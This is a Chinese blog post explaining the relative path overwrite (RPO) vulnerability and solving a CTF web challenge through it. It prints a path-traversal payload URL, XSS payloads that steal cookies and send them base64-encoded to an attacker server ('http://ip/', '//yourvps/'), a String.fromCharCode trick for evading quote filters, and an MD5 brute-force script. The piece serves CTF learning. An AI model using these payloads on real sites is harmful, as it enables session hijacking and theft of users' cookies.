RPO漏洞

本文涉及的产品
全局流量管理 GTM,标准版 1个月
公共DNS(含HTTPDNS解析),每月1000万次HTTP解析
云解析 DNS,旗舰版 1个月
简介: 参考文献:http://120.77.209.122/index.php/archives/24/https://www.jianshu.com/p/340bd5353248RPO漏洞就是服务端和客户端对这个URL的解析不一致导致的,当页面中调用的静态文件是以相对路径调用的时候,我们可以利用浏览器错误的解析页面的路径从而去错误的引导静态文件(CSS)文件加载在apche上..%2f不能解析,只有在nginx上才能实现。

参考文献:
http://120.77.209.122/index.php/archives/24/
https://www.jianshu.com/p/340bd5353248

RPO漏洞就是服务端和客户端对这个URL的解析不一致导致的,当页面中调用的静态文件是以相对路径调用的时候,我们可以利用浏览器错误的解析页面的路径从而去错误的引导静态文件(CSS)文件加载

在apche上..%2f不能解析,只有在nginx上才能实现。条件这么苛刻,都不知道用处多大。。

http://www.cnblogs.com/p00mj/p/6755000.html:这个大佬的入门还是挺好的,可以看看这个,apache上也可以复现,代码就不贴了。有传参存在的时候,在这里浏览器误以为我们参数的键/country/是一个实际的路径,从而导致实际加载的css文件路径就成了
http://localhost/hello/url.php/country/style.css,在这里服务端收到的请求会认为请求/country/style.css是一个键为country值为style.css的参数,从而返回页面。

发现RPO后利用修改了网页的路径,使页面css加载路径成为了可以加载任意的google域名下的任意样式表,然后在样式表中找到一个可以使用参数导入背景的网页,向里面插入攻击参数,传入了一个简单的css样式。使用被攻击页面url进行引用,页面的css样式改变攻击代码在能成功执行。

实在是不想搭个nginx的环境了,将强网杯 share your mind 复现下好了

在源码中,其中一个调用js的时候没有/,存在rpo漏洞。

img_dfe19f857dbc065fa5c00df22a5ecc5f.png
1.png
img_34c00b172d7e669a50600d12d874e1ff.png
1.png
img_5b16add8cab43aa23328d90dcd404d67.png
2.png

payload:
http://39.107.33.96:20000/index.php/view/article/2664/..%2f..%2f..%2f..%2findex.php
(%2f是/的url编码,服务器能解析,但是浏览器不能解析)
其中,写文章的地方是我们可控的,写入我们想测试的xss语句,标题不要写,内容为alert(1),然后引用payload发现弹框了。

查看当前js的引用路径http://39.107.33.96:20000/index.php/view/article/2664/static/js/jquery.min.js
我们正常访问这个路径时发现内容和我们访问http://39.107.33.96:20000/index.php/view/article/2664的内容是一样的
这就说明,网页按照这个路径把2664的内容当做了js文件进行了请求,并且还当做js代码执行了,而后面的js的路径被当做了参数忽略了。

构建攻击payload

b=document.cookie;a='<img src=http://ip/'+btoa(b)+'>';  document.write(a);
ip为自己的服务器ip,在服务器上查看日志文件

因为攻击代码的引用时会过滤了单引号和双引号,所以要对payload进行实体化编码,用String.fromCharCode()函数引用
print map(ord ,"payload") //将payload放入进行实体化编码,python真的强
eval(String.fromCharCode()) //将实体化编码的payload放入
然后将http://39.107.33.96:20000/index.php/view/article/2578/..%2f..%2f..%2f..%2findex.php提交到Reports

img_9719081624366608bee7449acea38318.png
1.png

将GET后的内容base64解码,得到HINT=Try to get the cookie of path "/QWB_fl4g/QWB/"
提交的时候还需爆破substr((md5($code),0,6) ,贴下代码

# !/usr/bin/env python
import hashlib
def md5(s):
    return hashlib.md5(s).hexdigest()
for i in range(1, 99999999):
    if md5(str(i)).startswith('cd5664'):
        print i
        break

将里面的内容写成题目上给的就行

然后继续

var i = document.createElement("iframe");i.setAttribute("src", "/QWB_fl4g/QWB/");
document.body.appendChild(i);i.addEventListener( "load", function(){ var content = i.contentWindow.document.cookie; location='//yourvps/'+btoa(content);}, false);

跟上面一样,就不贴了。。

目录
相关文章
|
12天前
|
存储 数据库 数据安全/隐私保护
服务器数据备份是保障数据安全、防止数据丢失和灾难恢复的重要措施
服务器数据备份是保障数据安全、防止数据丢失和灾难恢复的重要措施
26 1
|
2月前
|
网络协议 安全 网络安全
DDoS有什么有效预防措施
抵御DDoS攻击的方法包括:使用高性能网络设备和硬件防火墙;避免NAT以保持通信效率;确保充足网络带宽;升级服务器硬件;采用静态或伪静态网页;增强OS的TCP/IP栈;安装专业防火墙;备份网站并使用CDN。考虑云服务商的高防IP服务以提升防护级别。综合应用这些策略可有效防止DDoS攻击。
|
4月前
|
安全 Linux 对象存储
数据备份到阿里云oss上,以防勒索病毒的破坏
数据备份到阿里云oss上,以防勒索病毒的破坏
98 0
|
存储 安全 算法
揭秘勒索病毒.DevicData-D-XXXXXXXX:数据恢复策略及预防措施
勒索病毒.DevicData-D-XXXXXXXX是一种具有破坏性的勒索软件,通过加密用户的数据文件来勒索赎金。91数据恢复将在本文深入探讨勒索病毒.DevicData-D-XXXXXXXX的工作原理,并提供详细的数据恢复策略,同时介绍预防措施以保护您的数据免受此类威胁。
|
存储 安全 网络安全
从预防到恢复,企业如何应对勒索病毒攻击?
        勒索病毒是一种严重的计算机威胁,它往往会利用高强度的加密算法技术来锁定用户的数据文件。由于勒索病毒的广泛传播和高度复杂性,越来越多的企业面临着数据安全威胁。91数据恢复研究院本次将重点介绍一种名为kat6.l6st6r的勒索病毒,以及如何从中恢复加密的数据文件。
|
缓存 运维 监控
IT硬件故障的主要原因和预防的最佳实践
企业组织面临的超过 45% 的网络中断完全是由于硬件故障造成的,因此 24x7 全天候监控硬件至关重要
353 0
IT硬件故障的主要原因和预防的最佳实践
|
SQL 存储 运维
数据库安全加固防止被入侵的一些因素
关于数据库安全的层面大体分为两层:第一层是指系统安全运行。对系统安全运行的威胁主要是指一些网络犯罪分子通过互联网、局域网等侵入计算机的破坏性活动。造成系统不能正常启动,或计算机超负荷运行大量算法,导致CPU风扇故障,造成CPU过热烧坏了主板;第二层是指系统信息安全,通常受到黑客入侵数据库和窃取所需数据的威胁。数据的安全性主要是针对数据库的,它包括数据独立性、数据安全性、数据完整性、并发控制、故障恢复等方面。根据一些权威机构的数据泄露调查分析报告和对已发生的信息安全事件的技术分析,总结出信息泄露的两种趋势。
125 0
数据库安全加固防止被入侵的一些因素
|
监控 安全 Dubbo
Log4j “核弹级”漏洞攻击预警方案
Log4j “核弹级”漏洞影响面极大,虽然官方修复版本已经发布RC版本,很多公司仍然发布公告需要一些时间进行修复。本文介绍如何快速先部署一个预警机制,使得漏洞被利用时可以快速发现并及时响应。
1750 0
Log4j “核弹级”漏洞攻击预警方案
|
安全 NoSQL 关系型数据库
数据库勒索事件频发,应该如何确保不被入侵勒索?
从2016年12月份到2017年,互联网用户陆续遭受到不同类型数据的勒索事件,笔者统计了一下,大概至少有5中类型的针对数据的勒索事件: ElasticSearch勒索事件 MongoDB勒索事件 MySQL勒索事件 Redis勒索事件 PostgreSQL勒索事件 甚至还有针对Oracle的勒索事件…… 看起来只要是“裸奔”在互联网上的数据库,都未能幸免,成百上千个开放在公网的 MySQL 数据库被劫持,攻击者删除了数据库中的存储数据,并留下勒索信息,要求支付比特币以赎回数据。
4290 0